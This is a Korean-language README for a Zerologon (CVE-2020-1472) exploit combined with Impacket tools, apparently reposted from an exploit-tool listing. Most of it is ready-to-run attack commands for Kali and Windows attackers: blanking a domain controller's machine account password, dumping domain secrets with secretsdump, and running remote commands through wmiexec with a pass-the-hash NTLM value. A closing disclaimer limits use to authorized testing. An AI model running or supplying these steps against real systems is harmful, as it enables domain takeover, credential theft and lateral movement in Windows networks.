Zerologon 및 Impacket 조합 익스플로잇 (CVE-2020-1472)

이 저장소는 Zerologon 익스플로잇과 Impacket 도구를 결합하여 CVE-2020-1472 (Zerologon)를 익스플로잇하는 업데이트된 구현(2024)을 포함합니다. 이 익스플로잇은 Windows Server 환경을 대상으로 머신 계정 암호를 조작하고 측면 이동을 수행합니다.

기능

• CVE-2020-1472 (Zerologon)를 이용하여 대상의 머신 계정 암호를 빈 문자열로 설정합니다.
• Impacket 도구를 활용하여 피해자 머신에서 자격 증명을 덤프하고 명령을 실행합니다.

요구 사항

1. Python 3.x
2. 다음 명령어를 실행하여 필요한 종속성을 설치합니다:
   root@kitploit:~

   pip install -r requirements.txt
   

사용법

예제 시나리오

• 피해자: Windows Server 2016
• 공격자: Kali Linux (또는 Windows 시스템)

익스플로잇 명령어 (Kali Linux)

1. 머신 계정 암호를 빈 문자열로 설정:
   root@kitploit:~

   python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. 도메인 컨트롤러에서 시크릿 덤프:
   root@kitploit:~

   python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\[email protected]
   

3. 피해자 머신에서 명령 실행:
   root@kitploit:~

   python3 wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

익스플로잇 명령어 (Windows 공격자)

1. 머신 계정 암호를 빈 문자열로 설정:
   root@kitploit:~

   python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. 도메인 컨트롤러에서 시크릿 덤프:
   root@kitploit:~

   python secretsdump.py -just-dc "tancongmang/[email protected]"
   

3. 피해자 머신에서 명령 실행:
   root@kitploit:~

   python wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

참고 사항

• WIN-C9PAHHGJN91 및 192.168.40.145를 대상의 실제 호스트명과 IP 주소로 바꾸십시오.
• 이 도구를 사용하기 전에 적절한 권한이 있는지 확인하십시오.
• 이 도구는 교육 및 침투 테스트 목적으로만 사용됩니다.

면책 조항

이 도구를 책임감 있게 사용하십시오. 명시적 허가 없이 시스템을 익스플로잇하기 위해 이 도구를 무단으로 사용하는 것은 불법이며 비윤리적입니다. 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.